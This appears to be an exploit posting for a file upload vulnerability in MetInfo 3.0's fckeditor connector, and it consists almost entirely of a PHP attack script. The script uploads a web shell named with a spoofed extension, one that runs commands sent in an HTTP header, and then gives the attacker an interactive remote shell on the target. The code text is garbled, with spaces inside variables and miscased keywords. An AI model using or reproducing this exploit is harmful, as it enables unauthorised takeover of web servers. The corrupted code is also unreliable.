MetInfo 3.0 (fckeditor) Upload Vulnerability

Users can obtain the website shell.

Exploit:

<? Php/* MetInfo 3.0 Arbitrary File Upload Exploit Vulnerable code metinfo. pe/fckeditor/editor/filemanager/connectors/php/upload. php POC => metinfo. pe/fckeditor/editor/filemanager/connectors/uploadtest.html POC => metinfo. pe/upload Upload your shell.php.pdf (spoof ext .) will saved into/upload dir. by sh3nHttp://guideshen.blogspot.com-@ Guide_Shen-Http://xsstorm.blogspot.com*/Error_reporting (0); set_time_limit (0); ini_set ("default_socket_timeout", 5); function http_send ($ host, $ packet) {$ sock = fsockopen ($ host, 80); while (! $ Sock) {print "[-] No response from {$ host}: 80 Trying again... "; $ sock = fsockopen ($ host, 80);} fputs ($ sock, $ packet); while (! Feof ($ sock) $ resp. = fread ($ sock, 1024); fclose ($ sock); return $ resp;} print "+ response +"; print "| MetInfo 3.0 File Upload (fckeditor) sh3n | "; print" + ---------------------------------------------------------- + "; if ($ argc <2) {print" Usage ......: php $ argv [0] metinfo. pe path "; print" Example ....: php $ argv [0] localhost/fckeditor/"; die () ;}$ Host = $ argv [1]; $ path = $ argv [2]; $ data = "-- xSsT0rm"; $ data. = "Content-Disposition: form-data; name =" NewFile "; filename =" sh3n.php#" "; $ data. = "Content-Type: application/octet-stream"; $ data. = "<? Php $ {print (_ code _)}. $ {passthru (base64_decode ($ _ SERVER [HTTP_CMD])}. $ {print (_ code _)}?> "; $ Data. = "---- xSsT0rm --"; $ packet = "POST {$ path}/fckeditor/editor/filemanager/connectors/php/upload. php HTTP/1.0 "; $ packet. = "Host: {$ host}"; $ packet. = "Content-Length :". strlen ($ data ). ""; $ packet. = "Content-Type: multipart/form-data; boundary = xSsT0rm"; $ packet. = "Connection: close"; $ packet. = $ data; preg_match ("/OnUploadCompleted ((. *),"(. *)","(. *) ",/I", http_send ($ host, $ packet), $ html ); If (! In_array (intval ($ html [1]), array (0,201) die ("[-] Upload failed! (Error {$ html [1]}) "); else print" [-] Shell uploaded to {$ html [2]}... have phun! "; Define (STDIN, fopen (" php: // stdin "," r "); while (1) {print" sh3n-box #"; $ cmd = trim (fgets (STDIN); if ($ cmd! = "Exit") {$ packet = "GET {$ path} upload/{$ html [3]} HTTP/1.0"; $ packet. = "Host: {$ host}"; $ packet. = "Cmd :". base64_encode ($ cmd ). ""; $ packet. = "Connection: close"; $ output = http_send ($ host, $ packet); if (eregi ("print", $ output) |! Eregi ("_ code _", $ output) die ("[-] Exploit failed... "); $ shell = explode (" _ code _ ", $ output); print" {$ shell [1]} ";}else break ;}?>